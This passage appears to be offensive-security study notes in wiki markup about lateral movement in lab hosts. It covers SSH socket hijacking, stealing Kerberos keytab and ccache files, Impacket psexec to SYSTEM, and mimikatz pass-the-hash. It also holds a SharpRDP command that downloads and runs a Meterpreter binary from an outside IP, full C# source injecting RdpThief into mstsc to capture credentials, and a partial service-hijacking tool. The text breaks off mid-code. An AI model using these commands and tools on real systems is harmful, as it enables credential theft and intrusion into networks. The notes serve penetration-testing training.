# 1. Create SSH Config if it does not exist:&lt;br /&gt;
offsec@controller:~$ cat &amp;gt; ~/.ssh/config&lt;br /&gt;
    Host *&lt;br /&gt;
    ControlPath ~/.ssh/controlmaster/%r@%h:%p&lt;br /&gt;
    ControlMaster auto&lt;br /&gt;
    ControlPersist 10m&lt;br /&gt;
# 2. Set Correct File Permissions:&lt;br /&gt;
offsec@controller:~$ chmod 644 ~/.ssh/config&lt;br /&gt;
# 3. Create ControlMaster Directory if it does not already exists:&lt;br /&gt;
offsec@controller:~$ mkdir ~/.ssh/controlmaster&lt;br /&gt;
# 4. To test this theory, you first need to ssh to the linuxvictim machine. After you ssh&#039;d, exit the session and list files. As you can see there is a socket file now:&lt;br /&gt;
offsec@controller:~$ ls -al ~/.ssh/controlmaster/&lt;br /&gt;
total 8&lt;br /&gt;
drwxrwxr-x 2 offsec offsec 4096 May 13 16:22 .&lt;br /&gt;
drwx------ 3 offsec offsec 4096 May 13 13:55 ..&lt;br /&gt;
srw------- 1 offsec offsec 0 May 13 16:22 offsec@linuxvictim:22&lt;br /&gt;
# 5. Now you can SSH Without Password (piggybacking active session):&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
# 6. SSH to the controller again, but now as the root user:&lt;br /&gt;
# List available sockets:&lt;br /&gt;
root@controller:~# ls -al /home/offsec/.ssh/controlmaster&lt;br /&gt;
# Now you can piggyback the active session with root user, without using the password:&lt;br /&gt;
root@controller:~# ssh -S /home/offsec/.ssh/controlmaster/offsec\@linuxvictim\:22 offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH using SSH-Agent and SSH Agent Forwarding ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;:&lt;br /&gt;
SSH-Agent: Manages user&#039;s private keys.&lt;br /&gt;
&lt;br /&gt;
* SSH Agent Forwarding: Allows SSH-Agent usage on an intermediate server, mimicking a local agent.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Advantages&#039;&#039;&#039;:&lt;br /&gt;
Doesn&#039;t require private key storage on the intermediate server.&lt;br /&gt;
&lt;br /&gt;
* Users don’t repeatedly input passphrases.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How It Works&#039;&#039;&#039;:&lt;br /&gt;
SSH key requests from destination servers are passed through intermediate hosts to the originating client&#039;s SSH Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create SSH Key Pair:&lt;br /&gt;
ssh-keygen&lt;br /&gt;
# Copy Public Key to Servers:&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@controller&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@linuxvictim&lt;br /&gt;
# Enable Agent Forwarding on Kali Machine:&lt;br /&gt;
# Add in ~/.ssh/config:&lt;br /&gt;
ForwardAgent yes&lt;br /&gt;
# Allow Agent Forwarding on Controller Server:&lt;br /&gt;
# Add in /etc/ssh/sshd_config:&lt;br /&gt;
AlowAgentForwarding yes&lt;br /&gt;
# Start SSH-Agent:&lt;br /&gt;
kali@kali:~$ eval `ssh-agent`&lt;br /&gt;
# Add Keys to SSH-Agent:&lt;br /&gt;
kali@kali:~$ ssh-add&lt;br /&gt;
# Connect using SSH-Agent Forwarding:&lt;br /&gt;
kali@kali:~$ ssh offsec@controller&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux Kerberos ===&lt;br /&gt;
&lt;br /&gt;
==== General Syntax ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Logging in to the linuxvictim System&lt;br /&gt;
kali@kali:~$ ssh administrator@corp1.com@linuxvictim&lt;br /&gt;
# Note: We are using Active Directory credentials here.&lt;br /&gt;
# Kerberos Tickets and Credential Cache&lt;br /&gt;
#	• AD members using Kerberos authentication get a credential cache file.&lt;br /&gt;
#	• The cache file location is set via KRB5CCNAME environment variable.&lt;br /&gt;
#	• To find the administrator’s credential cache file:&lt;br /&gt;
env | grep KRB5CCNAME&lt;br /&gt;
# Acquiring Kerberos Tickets&lt;br /&gt;
#	• Kerberos tickets expire after some time.&lt;br /&gt;
#	• Use kinit command to get a ticket-granting ticket (TGT) for the current user.&lt;br /&gt;
kinit&lt;br /&gt;
#	• List stored tickets using klist:&lt;br /&gt;
klist&lt;br /&gt;
# Deleting Cached Tickets&lt;br /&gt;
kdestroy&lt;br /&gt;
# Accessing Kerberos Services&lt;br /&gt;
#	• Get a list of available Service Principal Names (SPN) using ldapsearch with #Kerberos authentication:&lt;br /&gt;
ldapsearch -Y GSSAPI -H ldap://dc01.corp1.com -D &amp;quot;Administrator@CORP1.COM&amp;quot; -W -b &amp;quot;dc=corp1,dc=com&amp;quot; &amp;quot;servicePrincipalName=*&amp;quot;&lt;br /&gt;
# -Y GSSAPI - Force LDAP to use kerberos authentication&lt;br /&gt;
# Requesting a Service Ticket&lt;br /&gt;
#	• Use the kvno utility:&lt;br /&gt;
kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
#	• Confirm the ticket acquisition with klist:&lt;br /&gt;
klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_607000500_wJiOow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
Valid starting       Expires              Service principal&lt;br /&gt;
10/05/2023 14:02:39  10/06/2023 00:02:39  krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
10/05/2023 14:03:26  10/06/2023 00:02:39  ldap/dc01.corp1.com@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
10/05/2023 14:03:54  10/06/2023 00:02:39  MSSQLSvc/DC01.corp1.com:1433@CORP1.COM&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stealing Keytab files ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Automate authentication to Kerberos resources without using a password.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Keytab Files&#039;&#039;&#039;: Contain a Kerberos principal name and encrypted keys.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Creating a Sample Keytab&lt;br /&gt;
administrator@corp1.com@linuxvictim:~$ ktutil&lt;br /&gt;
ktutil: addent -password -p administrator@CORP1.COM -k 1 -e rc4-hmac&lt;br /&gt;
Password for administrator@CORP1.COM: [User Password Entered Here]&lt;br /&gt;
ktutil: wkt /tmp/administrator.keytab&lt;br /&gt;
ktutil: quit&lt;br /&gt;
# Keytab file created at /tmp/administrator.keytab.&lt;br /&gt;
# Potential Misuse of Keytab Files&lt;br /&gt;
# 	• With root access, keytab can be used maliciously.&lt;br /&gt;
root@linuxvictim:~# kinit administrator@CORP1.COM -k -t /tmp/administrator.keytab&lt;br /&gt;
# Verifying the Loaded Tickets&lt;br /&gt;
root@linuxvictim:~# klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_1000&lt;br /&gt;
Default principal: administrator@CORP1.COM&lt;br /&gt;
Valid starting    Expires            Service principal&lt;br /&gt;
07/30/2020 15:18:34 07/31/2020 01:18:34 krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
renew until 08/06/2020 15:18:34&lt;br /&gt;
# Renewing Expired Tickets&lt;br /&gt;
       • Renew tickets if expired but within renewal timeframe.&lt;br /&gt;
root@linuxvictim:~# kinit -R&lt;br /&gt;
# Exploiting Loaded Keytab Files&lt;br /&gt;
#       • Authenticate as the domain admin.&lt;br /&gt;
root@linuxvictim:~# smbclient -k -U &amp;quot;CORP1.COM\administrator&amp;quot; //DC01.CORP1.COM/C$&lt;br /&gt;
WARNING: The &amp;quot;syslog&amp;quot; option is deprecated&lt;br /&gt;
Try &amp;quot;help&amp;quot; to get a list of possible commands.&lt;br /&gt;
smb: \&amp;gt; ls&lt;br /&gt;
	$Recycle.Bin DHS 0 Sat Sep 15 03:19:00 2018&lt;br /&gt;
	Documents and Settings DHS 0 Tue Jun 9 13:50:42 2020&lt;br /&gt;
	pagefile.sys AHS 738197504 Fri Oct 2 11:25:15 2020&lt;br /&gt;
	PerfLogs D 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
	Program Files DR 0 Mon Jun 15 08:10:03 2020&lt;br /&gt;
	Program Files (x86) D 0 Tue Jun 9 08:43:21 2020&lt;br /&gt;
ProgramData DH 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Abusing Credential Cache files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Lets say you find a cached credential file in /tmp.&lt;br /&gt;
offsec@linuxvictim:~$ ls -al /tmp/krb5cc_*&lt;br /&gt;
Output:&lt;br /&gt;
-rw------- 1 offsec offsec 1430 Jul 30 15:17 /tmp/krb5cc_1000&lt;br /&gt;
-rw------- 1 administrator@corp1.com domain users@corp1.com 4016 Jul 30 15:11 /tmp/krb5cc_607000500_3aeIA5&lt;br /&gt;
# You can copy, and take ownership of the cache file&lt;br /&gt;
offsec@linuxvictim:~$ sudo cp /tmp/krb5cc_607000500_3aeIA5 /tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ sudo chown offsec:offsec /tmp/krb5cc_minenow&lt;br /&gt;
&lt;br /&gt;
-rw------- 1 offsec offsec 4016 Jul 30 15:20 /tmp/krb5cc_minenow&lt;br /&gt;
# Now, to use the stole cache file. First destroy the current keys.&lt;br /&gt;
# Then set the environment variable KRB5CCNAME to specify the location of the Kerberos credentials cache.&lt;br /&gt;
offsec@linuxvictim:~$ kdestroy&lt;br /&gt;
offsec@linuxvictim:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
Output:&lt;br /&gt;
klist: No credentials cache found (filename: /tmp/krb5cc_1000)&lt;br /&gt;
...&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_minenow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
# Requesting Service Tickets with the Stolen Cache&lt;br /&gt;
offsec@linuxvictim:~$ kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
&lt;br /&gt;
MSSQLSvc/DC01.corp1.com:1433@CORP1.COM: kvno = 2&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Using Kerberos ticket locally ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#  Copy the victim&#039;s stolen ccache file to the Kali machine.&lt;br /&gt;
kali@kali:~$ scp offsec@linuxvictim:/tmp/krb5cc_minenow /tmp/krb5cc_minenow&lt;br /&gt;
# Set the KRB5CCNAME environment variable to use the victim&#039;s Kerberos tickets.&lt;br /&gt;
kali@kali:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
# These utilities help in performing ticket manipulation tasks.&lt;br /&gt;
kali@kali:~$ sudo apt install krb5-user&lt;br /&gt;
# Determine the IP address of the domain controller and configure the hosts file to recognize it.&lt;br /&gt;
offsec@linuxvictim:~$ host corp1.com&lt;br /&gt;
# Update the /etc/hosts file with domain controller details.&lt;br /&gt;
# Set up Proxy for Kerberos Authentication:&lt;br /&gt;
# The idea is to make it seem like the authentication requests are coming from the domain-joined host.&lt;br /&gt;
#	• Adjust proxy settings: Comment out proxy_dns in /etc/proxychains.conf.&lt;br /&gt;
#	• Create a SOCKS server using SSH on the compromised server.&lt;br /&gt;
kali@kali:~$ ssh offsec@linuxvictim -D 9050&lt;br /&gt;
# Get Users SPN&lt;br /&gt;
proxychains python3 GetUserSPNs.py -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# List all AD users from domain&lt;br /&gt;
proxychains python3 GetADUsers.py -all -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# Use Impacket&#039;s psexec to get a shell.&lt;br /&gt;
kali@kali:~$ proxychains python3 psexec.py Administrator@DC01.CORP1.COM -k -no-pass&lt;br /&gt;
ProxyChains-3.1 ( http://proxychains.sf.net)&lt;br /&gt;
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation&lt;br /&gt;
...&lt;br /&gt;
[*] Requesting shares on DC01.CORP1.COM.....&lt;br /&gt;
[*] Found writable share ADMIN$&lt;br /&gt;
[*] Uploading file tDwixbpM.exe&lt;br /&gt;
[*] Opening SVCManager on DC01.CORP1.COM.....&lt;br /&gt;
[*] Creating service cEiR on DC01.CORP1.COM.....&lt;br /&gt;
[*] Starting service cEiR.....&lt;br /&gt;
...&lt;br /&gt;
[!] Press help for extra shell commands&lt;br /&gt;
...&lt;br /&gt;
Microsoft Windows [Version 10.0.17763.1282]&lt;br /&gt;
(c) 2018 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt; whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Windows ==&lt;br /&gt;
&lt;br /&gt;
=== RDP ===&lt;br /&gt;
&lt;br /&gt;
* Pass the hash using mimikatz.exe and mstsc.exe (Remote desktop).&lt;br /&gt;
&lt;br /&gt;
* Require local administrator to dump the NTLM hashes&lt;br /&gt;
&lt;br /&gt;
* Restricted Admin Mode allows RDP connections without saving credentials on the remote machine.&lt;br /&gt;
It mitigates credential theft on the target system during the RDP session.&lt;br /&gt;
&lt;br /&gt;
* The mode is disabled by default but can be enabled via a registry entry.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
# If LSA protection is enabled, scroll a bit up to know how to disable it.&lt;br /&gt;
# Once the hash is captured, pass it using the command. mstsc.exe window will popup.&lt;br /&gt;
mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:&amp;quot;mstsc.exe /restrictedadmin&amp;quot;&lt;br /&gt;
# If restricted admin is disabled, enable it by using powershell on target machine&lt;br /&gt;
 mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:powershell&lt;br /&gt;
# A Powershell window wil popup.&lt;br /&gt;
Enter-PSSession -Computer appsrv01&lt;br /&gt;
# Enabled Restricted Admin mode&lt;br /&gt;
 New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Disable RAM&lt;br /&gt;
Remove-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse RDP Proxying with Metasploit ====&lt;br /&gt;
&lt;br /&gt;
* Access machines protected by firewalls and NAT configurations via reverse proxying.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisite:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Already have an established meterpreter session&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Background current meterpreter shell&lt;br /&gt;
background&lt;br /&gt;
# Set Up Autoroute in Metasploit:&lt;br /&gt;
msf5 exploit(multi/handler) &amp;gt; use multi/manage/autoroute&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; set session 1&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; exploit&lt;br /&gt;
# Configure SOCKS Proxy:&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; use auxiliary/server/socks5&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; set srvhost 127.0.0.1&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; exploit -j&lt;br /&gt;
# Set Up Proxychains for Reverse Tunnel:&lt;br /&gt;
#     Add the SOCKS5 proxy IP and port to Proxychains config:&lt;br /&gt;
kali@kali:~$ sudo bash -c &#039;echo &amp;quot;socks5 127.0.0.1 1080&amp;quot; &amp;gt;&amp;gt; /etc/proxychains.conf&#039;&lt;br /&gt;
# Now you can RDP to target that is protected by edge firewall&lt;br /&gt;
kali@kali:~$ proxychains rdesktop 192.168.120.10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SharpRDP.exe - Console rdp ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0xthirteen/SharpRDP https://github.com/0xthirteen/SharpRDP]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sharprdp.exe computername=appsrv01 command=&amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/met.exe&#039;,&lt;br /&gt;
&#039;C:\Windows\Tasks\met.exe&#039;); C:\Windows\Tasks\met.exe&amp;quot; username=corp1\dave&lt;br /&gt;
password=lab&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Steal RDP creds using RDPThief.dll ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0x09AL/RdpThief GitHub - 0x09AL/RdpThief: Extracting Clear Text Passwords from mstsc.exe using API Hooking.]&lt;br /&gt;
&lt;br /&gt;
* Build the rdpthief dll from above link.&lt;br /&gt;
If detours is missing, use Nuget to uninstall and install it again.&lt;br /&gt;
&lt;br /&gt;
* The code below will get the mstsc process and inject the rdpthief dll if anyone tries to RDP to another machine.&lt;br /&gt;
&lt;br /&gt;
* To see the captured credentials, check the output file: &amp;lt;code&amp;gt;​C:\Users\&amp;lt;username&amp;gt;\AppData\Local\Temp\&amp;lt;session_ID&amp;gt;\data.bin​&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;  // Added this line for Thread.Sleep()&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String dllName = &amp;quot;C:\\Tools\\RdpThief.dll&amp;quot;;&lt;br /&gt;
            while (true)&lt;br /&gt;
            {&lt;br /&gt;
                Process[] mstscProc = Process.GetProcessesByName(&amp;quot;mstsc&amp;quot;);&lt;br /&gt;
                if (mstscProc.Length &amp;gt; 0)&lt;br /&gt;
	                {&lt;br /&gt;
                    for (int i = 0; i &amp;lt; mstscProc.Length; i++)&lt;br /&gt;
                    {&lt;br /&gt;
                        int pid = mstscProc[i].Id;&lt;br /&gt;
                        IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
                        IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
                        IntPtr outSize;&lt;br /&gt;
                        Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
                        IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
                        IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
                    }&lt;br /&gt;
                }&lt;br /&gt;
                Thread.Sleep(1000);  // Sleep for 1 second before checking again&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fileless Lateral Movement ===&lt;br /&gt;
&lt;br /&gt;
Using fileless lateral movement will&lt;br /&gt;
&lt;br /&gt;
* Execute code without registering new service.&lt;br /&gt;
&lt;br /&gt;
* Avoid writing file to disk.&lt;br /&gt;
&lt;br /&gt;
PSExec however will write to disk. At a highlevel:&lt;br /&gt;
&lt;br /&gt;
* PsExec authenticates to SMB on the target host and accesses the DCE/RPC&lt;br /&gt;
DCE/RPC (Distributed Computing Environment / Remote Procedure Calls) is a protocol that supports remote procedure calls, which are used by processes to communicate with one another over a network.&lt;br /&gt;
&lt;br /&gt;
* PsExec will use this interface to access the service control manager, create a new service, and execute it. As part of the attack, the binary that is executed by the service is copied to the target host.&lt;br /&gt;
&lt;br /&gt;
Choose a service thats is not vital to the OS and is not used by default. Check service.msc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PsExec.exe -i -u domain\user cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The user running the code below have the TGT for &amp;lt;code&amp;gt;cifs/appsrv01&amp;lt;/code&amp;gt; in the memory.&lt;br /&gt;
&lt;br /&gt;
* The code will connect to target &amp;lt;code&amp;gt;appsrv01&amp;lt;/code&amp;gt;, open the service &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; and change it to open &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* When &amp;lt;code&amp;gt;SensorService&amp;lt;/code&amp;gt; is executed, &amp;lt;code&amp;gt;notepad.exe&amp;lt;/code&amp;gt; will run as SYSTEM user.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace PSLessExec&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint SC_MANAGER_ALL_ACCESS = 0xF003F;&lt;br /&gt;
        public static uint SERVICE_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint SERVICE_DEMAND_START = 0x3;&lt;br /&gt;
        public static uint SERVICE_NO_CHANGE = 0xffffffff;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public class QUERY_SERVICE_CONFIG&lt;br /&gt;
        {&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwServiceType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwStartType;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwErrorControl;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpBinaryPathName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpLoadOrderGroup;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.U4)]&lt;br /&gt;
            public UInt32 dwTagID;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDependencies;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpServiceStartName;&lt;br /&gt;
            [MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)]&lt;br /&gt;
            public String lpDisplayName;&lt;br /&gt;
        };&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;OpenSCManagerW&amp;quot;, ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Auto)]&lt;br /&gt;
        static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Unicode, SetLastError = true)]&lt;br /&gt;
        public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, EntryPoint = &amp;quot;ChangeServiceConfig&amp;quot;)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, uint dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true)]&lt;br /&gt;
        [return: MarshalAs(UnmanagedType.Bool)]&lt;br /&gt;
        public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            if (args.Length != 3)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Usage: PSLessExec.exe [Target] [Service] [BinaryToRun]&amp;quot;);&lt;br /&gt;
                Console.WriteLine(&amp;quot;Example: PSLessExec.exe appsrv01 SensorService notepad.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Open remote SCManager&lt;br /&gt;
            IntPtr SCMHandle = OpenSCManager(args[0], null, SC_MANAGER_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on SCManager on {args[0]}: {SCMHandle}.&amp;quot;);&lt;br /&gt;
            // Access target service&lt;br /&gt;
            IntPtr schService = OpenService(SCMHandle, args[1], SERVICE_ALL_ACCESS);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got handle on target service {args[1]}: {schService}.&amp;quot;);&lt;br /&gt;
            // Get current binPath (two passes, first is to determine the buffer size needed)&lt;br /&gt;
            UInt32 dwBytesNeeded;&lt;br /&gt;
            QUERY_SERVICE_CONFIG qsc = new QUERY_SERVICE_CONFIG();&lt;br /&gt;
            bool bResult = QueryServiceConfig(schService, IntPtr.Zero, 0, out dwBytesNeeded);&lt;br /&gt;
            IntPtr ptr = Marshal.AllocHGlobal((int)dwBytesNeeded);&lt;br /&gt;
            bResult = QueryServiceConfig(schService, ptr, dwBytesNeeded, out dwBytesNeeded);&lt;br /&gt;
